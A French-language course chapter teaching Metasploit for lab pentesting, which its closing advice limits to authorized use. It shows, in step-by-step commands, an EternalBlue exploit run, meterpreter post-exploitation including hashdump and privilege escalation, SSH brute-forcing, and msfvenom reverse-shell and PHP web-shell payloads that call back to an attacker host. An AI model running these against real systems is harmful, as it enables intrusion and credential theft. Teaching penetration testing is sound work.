Metasploit est le framework d’exploitation le plus utilisé dans le monde du pentest. Il centralise des milliers d’exploits, payloads et modules auxiliaires dans une interface unifiée. Ce chapitre vous guide depuis les premières commandes jusqu’aux sessions Meterpreter en environnement de lab.
Architecture de Metasploit
Modules MSF :
exploits/ → code qui exploite une vulnérabilité
payloads/ → code exécuté sur la cible après exploitation
auxiliaries/ → scanners, fuzzers, sniffers (sans exploitation)
post/ → actions post-exploitation (pivot, dump, persistence)
encoders/ → obfuscation des payloads
evasion/ → contournement d'antivirus
Démarrage et commandes de base
# Démarrer la base de données PostgreSQL (nécessaire pour workspace)
sudo systemctl start postgresql
sudo msfdb init
# Lancer msfconsole
msfconsole
# Commandes essentielles
msf6 > help # Aide
msf6 > search eternalblue # Rechercher un module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010) > info # Infos sur le module
msf6 exploit(ms17_010) > options # Paramètres requis
Configurer et lancer un exploit
msf6 exploit(ms17_010) > set RHOSTS 192.168.1.50 # Cible
msf6 exploit(ms17_010) > set LHOST 192.168.1.100 # Notre IP
msf6 exploit(ms17_010) > set LPORT 4444
msf6 exploit(ms17_010) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010) > check # Vérifier si la cible est vulnérable
msf6 exploit(ms17_010) > run # Lancer l'exploitation
Meterpreter : shell avancé post-exploitation
# Une fois une session Meterpreter ouverte :
meterpreter > sysinfo # Infos système
meterpreter > getuid # Utilisateur actuel
meterpreter > getsystem # Tenter une élévation de privilèges
meterpreter > ps # Lister les processus
meterpreter > migrate 1234 # Migrer vers un autre processus
meterpreter > hashdump # Extraire les hashes de mots de passe
meterpreter > screenshot # Capture d'écran
meterpreter > download /etc/passwd /tmp/passwd # Télécharger un fichier
meterpreter > shell # Obtenir un shell système
Modules auxiliaires utiles
# Scanner de ports intégré
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(tcp) > set PORTS 22,80,443,3389
msf6 auxiliary(tcp) > run
# Brute force SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.1.50
msf6 auxiliary(ssh_login) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(ssh_login) > run
# Détection SMB
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > run
Générer des payloads avec msfvenom
# Payload Windows reverse shell (exe)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
# Payload Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o payload.elf
# Payload PHP (pour web shells)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php
# Écouter les connexions entrantes
msf6 > use exploit/multi/handler
msf6 handler > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 handler > set LHOST 192.168.1.100
msf6 handler > set LPORT 4444
msf6 handler > run
- Metasploit centralise exploits, payloads et modules post-exploitation
- Meterpreter est un shell avancé en mémoire, difficile à détecter
- msfvenom génère des payloads pour toutes les plateformes
- N’utiliser Metasploit que sur des environnements autorisés (lab, CTF, pentest signé)
📚 Formation : Cybersécurité intermédiaire : pentest et défense avancée

-
Add a note